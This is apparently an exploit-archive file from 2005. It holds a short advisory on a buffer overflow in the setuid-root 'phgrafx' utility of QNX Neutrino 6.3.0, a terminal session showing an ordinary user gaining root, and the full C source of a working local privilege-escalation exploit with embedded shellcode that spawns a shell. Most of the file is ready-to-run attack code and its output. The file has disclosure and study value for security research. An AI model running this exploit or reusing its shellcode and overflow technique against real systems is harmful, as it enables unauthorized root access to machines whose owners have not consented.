phgrafx.txt

`a buffer overflow vulnerability in the utility "phgrafx" included in the  
QNX Neutrino Realtime Operating System can potentially be exploited by malicious  
users to escalate their privileges (by default the application is suid and owned by root).  
  
example:  
  
qnx$ uname -a; id  
QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86  
uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)  
qnx$ gcc phex.c -o phex -W  
qnx$ ./phex  
shellcode length: 21  
address: 0x8047a2c  
Warning: can not find palette under '5°|ØHæ1°'.  
# id  
uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty)  
#  
  
source:  
  
/*   
* [email protected] (c) 2005, all rights reserved.  
* sample exploit for phgrafx on QNX 6.3.0 x86  
*   
* tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86  
*/   
  
#include <sys/types.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <dlfcn.h>  
#include <unistd.h>  
#include <err.h>  
  
#ifndef _PATH  
# define _PATH ("/usr/photon/bin/phgrafx")  
#endif  
  
#ifndef _RET_INIT  
# define _RET_INIT (864)  
#endif  
  
/* thanks to my friend pi3 that suggested me to call a libc  
* function to make the shellcode way shorter than it was */  
  
char scode[] = "\x31\xc0" // xor %eax,%eax  
"\x50" // push %eax  
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f  
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f  
"\x54" // push %esp  
"\xbb\xEF\xBE\xAD\xDE" // mov $0xDEADBEEF,%ebx  
"\xff\xd3"; // call *%ebx  
  
unsigned long get_sp (void) {  
__asm__ ("movl %esp, %eax");  
}  
  
int main (int argc, char **argv) {  
  
int i, slen = strlen (scode), offset = 0;  
long ptr, *lptr, addr;  
char *buf;  
void *handle;  
  
handle = dlopen (NULL, RTLD_LAZY);  
addr = (long) dlsym (handle, "system");  
  
for (i = 0; i < 4; i++) {  
char temp = (*((char *) &addr + i) & 0xff);  
if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {  
puts  
("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably won't work since"  
" the application seems to truncate those bytes. BTW you can rely on functions like exec*(), spawn*()"  
" or MsgSend*() to get this working.\n"  
"more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/");  
return (-1);  
}  
}  
  
memcpy((char *)&scode + 0xf, &addr, 4);  
  
if (argc > 1)  
offset = strtoul(argv[1], NULL, 0);  
  
if (!(buf = (char *) malloc(1032)))  
err(1, "malloc()");  
  
memset(buf, 0, 1032);  
  
for (i = 0; i < (_RET_INIT - slen); i++)  
buf[i] = 'A'; // inc %ecx  
  
printf("shellcode length: %d\n", slen);  
  
for (i = (_RET_INIT - slen); i < _RET_INIT; i++)  
buf[i] = scode[i - (_RET_INIT - slen)];  
  
lptr = (long *) (buf + _RET_INIT);  
  
printf("address: 0x%lx\n", ptr = (get_sp () - offset));  
  
for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)  
*(lptr + i) = (int) ptr;  
  
execl(_PATH, "phgrafx", buf, NULL);  
  
return (0);  
}  
  
--   
p. minervini, [email protected]  
`